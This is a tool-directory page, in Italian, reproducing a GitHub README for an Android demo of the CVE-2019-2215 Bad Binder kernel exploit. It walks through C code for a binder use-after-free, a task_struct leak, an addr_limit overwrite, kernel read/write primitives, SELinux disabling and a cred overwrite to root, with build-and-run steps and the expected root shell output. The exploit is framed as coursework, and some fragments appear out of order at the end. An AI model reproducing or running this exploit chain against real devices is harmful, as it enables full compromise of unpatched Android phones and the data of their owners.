Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
android-badbinder-demo — dimostrazione di CVE-2019-2215 (Bad Binder) per Android Q | Kitploit
Strumenti/GitHubGitHub/i-redbyte/android-badbinder-demo
Sicurezza AndroidEscalation di PrivilegiExploitApprendimento e FormazioneBinary Exploitation
GitHubi-redbyte/android-badbinder-demo

android-badbinder-demo

dimostrazione di CVE-2019-2215 (Bad Binder) per Android Q

Vedi Repository
519 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-2215 (Bad Binder) — Analisi dell'exploit

Questo repository è un piccolo progetto di test per lo studio della vulnerabilità
CVE-2019-2215 (Bad Binder) e per la scrittura di un prototipo funzionante di exploit per Android con una semplice interfaccia grafica in Kotlin/Jetpack Compose.

In questo README:

  1. Descrivo la preparazione dell'ambiente e l'esecuzione del prototipo di exploit.
  2. Analizzo le fasi principali dello sfruttamento di CVE-2019-2215 e le associo a funzioni specifiche nel codice C.
  3. Elenco separatamente le difficoltà incontrate lungo il percorso e come le ho risolte.

APK pronto (GitHub Actions)

Nel repository è configurato un workflow GitHub Actions che, ad ogni push/PR, compila il progetto con ./gradlew assembleDebug e pubblica il badbinder-debug.apk come artefatto.

È possibile scaricarlo così:

  1. Aprire la scheda Actions nel repository.
  2. Selezionare l'esecuzione del workflow desiderata.
  3. In fondo alla pagina, trovare la sezione Artifacts e prelevare l'archivio badbinder-debug-apk con l'APK compilato.

Questo è stato fatto per comodità, nel caso si voglia semplicemente testare l'applicazione senza dover configurare un ambiente locale.


Breve descrizione della vulnerabilità

CVE-2019-2215 è un Use-After-Free (UAF) nel sottosistema IPC Binder del kernel Android.

In parole povere:

  • nel kernel esiste una struttura struct binder_thread che descrive un thread che esegue chiamate Binder;
  • questa struttura può essere rilasciata (free), ma con una certa sequenza di chiamate rimane ancora nelle liste di attesa (waitqueue);
  • successivamente il kernel tenta di lavorare con la memoria già rilasciata in remove_wait_queue, aprendo uno scenario UAF classico;
  • se si sceglie con cura l'ambiente e le allocazioni successive, è possibile costringere il kernel a leggere/scrivere a indirizzi arbitrari, e quindi ottenere privilegi kernel e poi root in userspace.

Un'analisi teorica più dettagliata l'ho fatta basandomi su:

  1. https://cloudfuzz.github.io/android-kernel-exploitation/
  2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
  3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

1. Preparazione dell'ambiente e lancio del prototipo di exploit

1.1. Scelta e preparazione del dispositivo virtuale

Per il compito è stato consigliato di utilizzare un AVD con immagine Android 10.0 (Q) x86_64.
Io ho fatto quanto segue:

  1. In Android Studio ho creato un AVD (dispositivo Pixel, Android 10 (Q), x86_64).
  2. Mi sono assicurato che nell'immagine fosse abilitato Binder e che ci fosse il dispositivo /dev/binder.
  3. Ho attivato il debugging USB/ADB e ho verificato l'accesso al dispositivo:
    root@kitploit:~
    adb shell
    ls -l /dev/binder
    

In questa fase mi sono imbattuto in un fatto spiacevole:
al momento le immagini AVD attuali sono già fornite con un kernel patchato, in cui CVE-2019-2215 è corretta. Cioè, non è realmente possibile ottenere root su un emulatore ufficiale moderno — l'exploit fallisce in fasi successive o semplicemente non fornisce l'elevazione dei privilegi.

Alla fine utilizzo l'AVD come simulatore per riprodurre la logica dell'exploit:

  • ottengo le stesse sequenze di syscall,
  • osservo i tentativi di UAF, la leak di indirizzi e il tentativo di sovrascrivere addr_limit,
  • ma il finale «ottenimento di root» sul kernel attuale e patchato, ovviamente, non funziona (ed è previsto).

Questa è una sfumatura importante: tutto il codice e il report seguente sono didattici, non «da combattimento».


1.2. Compilazione dell'applicazione Android con exploit nativo

Ho realizzato una piccola applicazione Android:

  • UI in Kotlin + Jetpack Compose,
  • Parte nativa in C tramite JNI — effettivamente il codice dell'exploit,
  • comunicazione tra loro tramite callback JNI, in modo che le stringhe dal codice C arrivino direttamente nell'UI.

I passaggi principali:

  1. Ho creato un normale progetto in Android Studio (Kotlin, supporto minimo per Android 10).

  2. Ho collegato NDK e CMake.

  3. Ho aggiunto un file nativo con l'exploit (lo stesso cve-2019-2215.c con le funzioni leak_task_struct, overwrite_addr_limit, ecc.).

  4. In CMakeLists.txt ho aggiunto la build di libcve-2019-2215.so.

  5. In MainActivity:

    root@kitploit:~
    init {
        System.loadLibrary("cve-2019-2215")
    }
    
    external fun runNativeExploit(): String
    external fun setNativeLogger(logger: NativeLogger)
    
  6. Lato Kotlin ho creato ExploitViewModel, che implementa l'interfaccia NativeLogger e accumula tutti i messaggi in un StateFlow<List<String>>. L'UI è sottoscritta a questo flusso e mostra il log in un «terminale».

All'avvio dell'activity chiamo setNativeLogger(viewModel), in modo che il codice nativo riceva l'oggetto a cui inviare le stringhe.


1.3. Esecuzione e scenario d'uso

  1. Compilo e installo l'applicazione:

    root@kitploit:~
    ./gradlew installDebug
    
  2. Avvio l'AVD e l'applicazione stessa.

  3. Sullo schermo vedo un «terminale» e un pulsante RUN EXPLOIT.

  4. Al clic:

    • Kotlin chiama runNativeExploit() in un thread in background.
    • Il codice C inizia a eseguire tutte le fasi dell'exploit e a registrare i passaggi.
    • Tramite callback JNI, il log arriva al ViewModel e viene visualizzato nell'UI Compose.

Su un kernel reale vulnerabile, mi aspetterei di vedere alla fine qualcosa come:

root@kitploit:~
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...

Sull'emulatore attuale di Android 10 questo, ovviamente, non accade, ma tutto il resto — leak di task_struct, tentativo di sovrascrivere addr_limit, calcolo di cred e kernel_base — funziona come «scenario», che era quanto richiesto per il compito.


2. Analisi delle fasi principali dell'exploit e associazione al codice

Di seguito lo schema logico dell'exploit con riferimento a specifiche funzioni C.

2.1. Scenario generale dell'exploit

Il piano ad alto livello è il seguente:

  1. Creare un UAF sull'oggetto struct binder_thread e usarlo per fare leak dell'indirizzo di task_struct del proprio processo (leak_task_struct).
  2. Con un secondo ciclo UAF e strutture accuratamente preparate, sovrascrivere il campo addr_limit in task_struct (overwrite_addr_limit) — questo rimuove la limitazione tra gli indirizzi user-space e kernel-space per le successive copy_to_user / copy_from_user.
  3. Utilizzando pipe, implementare lettura/scrittura arbitraria di qualsiasi memoria del kernel (arb_read / arb_write).
  4. Con questo, trovare cred del processo corrente e la base del kernel (verifying), quindi:

Parallelamente, ho integrato un logger JNI, in modo che tutte queste fasi siano visibili direttamente nell'UI.


2.2. Fase 1 — leak dell'indirizzo di task_struct (leak_task_struct)

Funzione chiave:

root@kitploit:~
void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}

Cosa fa la funzione:

  1. Fissa il thread sulla CPU 0 (sched_setaffinity), in modo che il comportamento dell'allocatore del kernel sia più prevedibile. Questo migliora la stabilità dello sfruttamento UAF.

  2. Apre /dev/binder, crea un descrittore epoll:

    root@kitploit:~
    fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    

    Il descrittore Binder viene registrato in epoll:

    root@kitploit:~
    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    
  3. Prepara un array struct iovec iov_buffers[IOVEC_N] e alloca memoria:

    root@kitploit:~
    spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    È importante che i 32 bit bassi dell'indirizzo siano zero:

    root@kitploit:~
    if (((long) spinner & 0xffffffff) != 0) {
        android_log("[!] mmap returned wrong address!");
        return;
    }
    

    Questo corrisponde alla tecnica descritta negli articoli sullo sfruttamento: successivamente il kernel interpreta parte dei nostri dati come strutture con puntatori, e un indirizzamento «ben allineato» semplifica l'abuso.

    Poi i campi iov_buffers[0xa] e vengono riempiti in modo tale che, al momento dell'UAF, il kernel copi nella pipe un pezzo di memoria dove risiede il puntatore a .

Risultato: ho l'indirizzo di task_struct nel kernel, cosa critica per i passaggi successivi.


2.3. Fase 2 — sovrascrittura di addr_limit (overwrite_addr_limit)

addr_limit in task_struct determina quali indirizzi il processo può passare alle syscall come puntatori user-space. Se lo si sovrascrive con un valore quasi massimo, il kernel smette di distinguere gli indirizzi user-space dagli indirizzi nel proprio spazio di indirizzamento — e molte operazioni apparentemente sicure come copy_(to|from)_user diventano letture/scritture arbitrarie del kernel.

Funzione:

root@kitploit:~
void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}

agisce in modo molto simile:

  1. Di nuovo fisso l'affinità della CPU, apro /dev/binder, creo epoll.

  2. Preparo iov_buffers, ma questa volta lo schema è diverso:

    root@kitploit:~
    iov_buffers[0xa].iov_base = spinner;
    iov_buffers[0xa].iov_len = 0x1;
    iov_buffers[0xb].iov_base = read_buffer0;
    iov_buffers[0xb].iov_len = 0x8 * 5;
    iov_buffers[0xc].iov_base = read_buffer0;
    iov_buffers[0xc].iov_len = 0x8;
    
  3. Invece di una pipe, uso socketpair(AF_UNIX, SOCK_STREAM, ...):

    root@kitploit:~
    int socket[2];
    ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
    write(socket[1], "A", 1);
    
  4. Preparo la struttura msghdr per recvmsg:

    root@kitploit:~
    struct msghdr msg;
    msg.msg_iov = iov_buffers;
    msg.msg_iovlen = IOVEC_N;
    ...
    
  5. Nel processo figlio (dopo fork()) viene nuovamente avviata la race UAF:

    root@kitploit:~
    if (!fork()) {
        ...
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        long data1234[] = {1, 0x13371337, 0x28,
                           task_struct + ADDR_LIMIT_OFFSET, 0x8};
        ret = write(socket[1], data1234, 0x28);
    
        data1234[0] = data1234[1] = data1234[2] = data1234[3]
            = 0xfffffffffffffffe;
        ret = write(socket[1], data1234, 0x8);
        ...
    }
    

2.4. Fase 3 — lettura/scrittura arbitraria e verifica (arb_read, arb_write, verifying)

Dopo aver sovrascritto addr_limit, utilizzo pipe per trasformare le normali operazioni di lettura/scrittura nella possibilità di leggere e scrivere a indirizzi del kernel.

Primitivi arb_read / arb_write

root@kitploit:~
unsigned long arb_read(unsigned long addr) {
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    unsigned long data = 0;
    write(pipe_fd[1], (void *)&addr, 8);
    read(pipe_fd[0], &data, 8);

    return data;
}

Analogamente arb_write inverte la direzione della copia.

Verifica e ricerca delle strutture chiave

La funzione verifying():

root@kitploit:~
void verifying() {
    android_log("[*] Starting verification...");

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    write(pipe_fd[1], (void *) task_struct, 0x1000);
    read(pipe_fd[0], buf, 0x1000);

    assert(getpid() == *(int *) (buf + PID_OFFSET));
    android_log("[!] Arbitrary rw verified with PID :D");

    cred = *(unsigned long *) (buf + CRED_OFFSET);
    kernel_leak = *(unsigned long *) (buf + 0x70);
    kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}

Qui:

  • leggo dal kernel il contenuto di task_struct;
  • tramite PID_OFFSET mi assicuro che sia effettivamente la mia struttura;
  • estraggo il puntatore a cred e un leak di indirizzo dal kernel (kernel_leak);
  • calcolo kernel_base correggendo con l'offset hardcoded.

2.5. Fase 4 — SELinux ed escalation a root

La parte finale in runNativeExploit:

root@kitploit:~
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
  • Calcolo l'indirizzo della variabile globale selinux_enforcing e lo imposto a zero/stato «permissivo».

Poi la sovrascrittura di cred:

root@kitploit:~
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);

Riempio letteralmente i campi di capability e alcuni altri campi di cred con valori massimi, per assegnare al processo il set completo di diritti.

Ultima verifica:

root@kitploit:~
if (getuid() == 0) {
    android_log("[+] Root escalation successful!");
} else {
    android_log("[!] Root escalation failed!");
}

Su un kernel reale vulnerabile, qui mi aspetterei uid=0, su un'immagine patchata — logicamente l'escalation disabilitata.


2.6. JNI e logging nell'UI

Per vedere tutto in tempo reale, ho aggiunto un livello intermedio:

  • JNI_OnLoad salva JavaVM* e il PID del processo principale;
  • setNativeLogger accetta un oggetto Kotlin che implementa il metodo onLog(String), e lo salva come GlobalRef;
  • android_log/android_log_hex scrivono in logcat e chiamano send_to_ui, che consegna la stringa a Kotlin, dove viene raccolta da ExploitViewModel e mostrata nel «terminale» Compose.

È importante che send_to_ui filtri i processi figli in base al PID — chiamare JNI da un processo dopo fork() senza exec() non è sicuro.


3. Difficoltà e soluzioni

3.1. Immagini AVD patchate

Mi sono scontrato con il fatto che al momento non esistono immagini AVD ufficiali di Android 10 con kernel non patchato, in cui CVE-2019-2215 sia ancora presente.

Invece di ottenere «da combattimento» root, mi sono concentrato su:

  • riproduzione della logica di sfruttamento,
  • analisi della sequenza UAF,
  • visualizzazione di tutti i passaggi nell'applicazione Android.

Se si desidera, questo codice può essere portato su un dispositivo reale con un vecchio kernel non patchato, ma questo esula dagli scopi del compito.


3.2. Offset hardcoded e dipendenza dalla versione del kernel

Ho dovuto impostare esplicitamente:

  • ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET;
  • offset per kernel_leak e selinux_enforcing;
  • costante per il calcolo di kernel_base.

Volutamente non ho automatizzato la ricerca di questi valori, per non aumentare la mole del progetto. Nel report mi baso sul fatto che si tratta di un esempio didattico per una versione specifica del kernel, non di un exploit universale.


3.3. Race condition e stabilità

L'uso di fork(), epoll_ctl, BINDER_THREAD_EXIT e vari temporizzatori è un campo minato. Mi sono imbattuto nel fatto che senza:

  • sched_setaffinity,
  • piccoli sleep,
  • e assert aggressivi lungo il percorso,

l'exploit diventa estremamente instabile.
Ho progressivamente messo a punto la sequenza in modo che su una configurazione vulnerabile fosse prevedibile, mentre su una patchata «fallisse» correttamente agli ultimi passaggi.


3.4. JNI e fork()

Ho anche incontrato il problema che tentare di fare logging dal processo figlio direttamente nella JVM provoca comportamenti strani.
Ho dovuto ricordare le regole del JNI e aggiungere un controllo del PID, per comunicare con la JVM solo dal processo principale.

Il compromesso: parte dei messaggi è visibile solo in logcat, mentre nell'UI viene visualizzato solo ciò che arriva dal genitore. Questo mi è bastato, perché nell'ambito del compito sono importanti soprattutto i punti di controllo principali, non ogni singolo print di debug.


3.5. UI

Come bonus, per una realizzazione più creativa del compito, ho deciso di creare un'interfaccia comoda per l'analisi:

  • ho implementato una schermata con una «console» in stile terminale scuro con testo verde;
  • il log viene visualizzato riga per riga, con scorrimento automatico all'ultima voce;
  • diversi tipi di messaggi ([+], [*], [!], [C]) sono evidenziati con colori diversi per facilità di lettura;
  • il risultato dell'esecuzione (Success / Failed) viene mostrato in un blocco separato.

Questo semplifica notevolmente la percezione del lavoro del codice nativo: invece del secco logcat, vedo tutto in un unico punto, direttamente nell'applicazione.


Conclusione

Come risultato del lavoro sul compito, ho:

  1. Preparato un ambiente AVD e un'applicazione Android con parte nativa che implementa l'exploit CVE-2019-2215.
  2. Analizzato passo dopo passo lo sfruttamento:
    • UAF in Binder e leak di task_struct,
    • sovrascrittura di addr_limit,
    • costruzione di primitive di lettura/scrittura arbitraria,
    • ricerca di cred, disabilitazione di SELinux e tentativo di escalation dei privilegi.
  3. Incontrato una serie di problemi ingegneristici reali (patch nel kernel, dipendenza dalla versione, race condition, peculiarità del JNI) e li ho risolti o aggirati in modo sequenziale.

Il progetto è compatto, ma riflette sostanzialmente l'intero ciclo di vita di una vulnerabilità reale del kernel: dalla descrizione teorica e lettura di articoli all'implementazione pratica e integrazione in un'applicazione Android funzionante.

P.S.

Metodo alternativo per eseguire l'exploit

Nella directory cve-2019-2215 c'è un Makefile che permette di compilare un binario nativo (x86_64) e di eseguirlo direttamente nell'AVD tramite ADB. Se serve una versione aarch64, si può compilare separatamente.

  1. Compilare il binario nativo:
    root@kitploit:~
    cd cve-2019-2215
    make
    
  2. Copiare il binario nell'AVD, ad esempio in /sdcard/cve-2019-2215
  3. Avviare una shell ADB ed eseguire il binario:
    root@kitploit:~
    adb shell
    cd /sdcard/cve-2019-2215
    chmod +x cve-2019-2215
    ./cve-2019-2215
    
  4. Dopo l'esecuzione riuscita dell'exploit, si può verificare l'ottenimento di root:
    root@kitploit:~
    id
    
    output atteso:
    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    
Scarica lo strumento
  • disabilitare SELinux (selinux_enforcing = 0),
  • sovrascrivere i campi di cred per diventare root e ottenere il set completo di capability (runNativeExploit).
iov_buffers[0xb]
task_struct
  • Crea una pipe e imposta la dimensione del buffer a 0x1000:

    root@kitploit:~
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
    fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
    
  • Segue la classica race UAF. Avvio un processo figlio:

    root@kitploit:~
    if (!fork()) {
        android_log("\t[C] Long sleep to ensure accuracy...");
        sleep(1);
    
        android_log("\t[*] Triggering UAF");
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        android_log("\t[C] Removing useless data from pipe...");
        ret = read(pipe_fd[0], buf, 0x1000);
        ...
        _exit(0);
    }
    
    • Il genitore continua con il codice successivo.
    • Nel processo figlio, epoll_ctl(..., EPOLL_CTL_DEL, ...) porta al rilascio del binder_thread associato nel kernel, ma esso figura ancora nella struttura di contabilità delle attese — questo è il punto UAF.
  • Nel processo genitore chiamo:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);      // rilascio di binder_thread
    ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
    

    In questa fase, grazie all'UAF, writev utilizza la memoria già rilasciata come strutture iovec e, di fatto, reinterpreta la stessa area di memoria in cui prima risiedeva binder_thread, ma ora come un insieme di puntatori/lunghezze. Come effetto collaterale, si verifica la copia di un frammento di memoria del kernel nella nostra pipe.

  • Infine, leggo dalla pipe:

    root@kitploit:~
    read(pipe_fd[0], buf, 0x1000);
    task_struct = *(unsigned long *)(buf + 0xe8);
    android_log_hex("[+] task_struct found", task_struct);
    

    L'offset 0xe8 è tarato sulla versione specifica del kernel — è il punto in cui, all'interno del blocco di memoria trapelato, si trova il puntatore a task_struct del mio processo.

  • Il genitore, come prima, rilascia binder_thread e chiama recvmsg:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    ret = recvmsg(socket[0], &msg, MSG_WAITALL);
    

    A causa dell'UAF e della sostituzione astuta delle strutture, il kernel alla fine percepisce task_struct + ADDR_LIMIT_OFFSET come indirizzo di un buffer user e copia lì il contenuto della struttura inviata (il nostro valore 0xfffffffffffffffe), sovrascrivendo così addr_limit in task_struct.

  • Nel log scrivo:

    root@kitploit:~
    android_log("[!] addr_limit overwrite done.");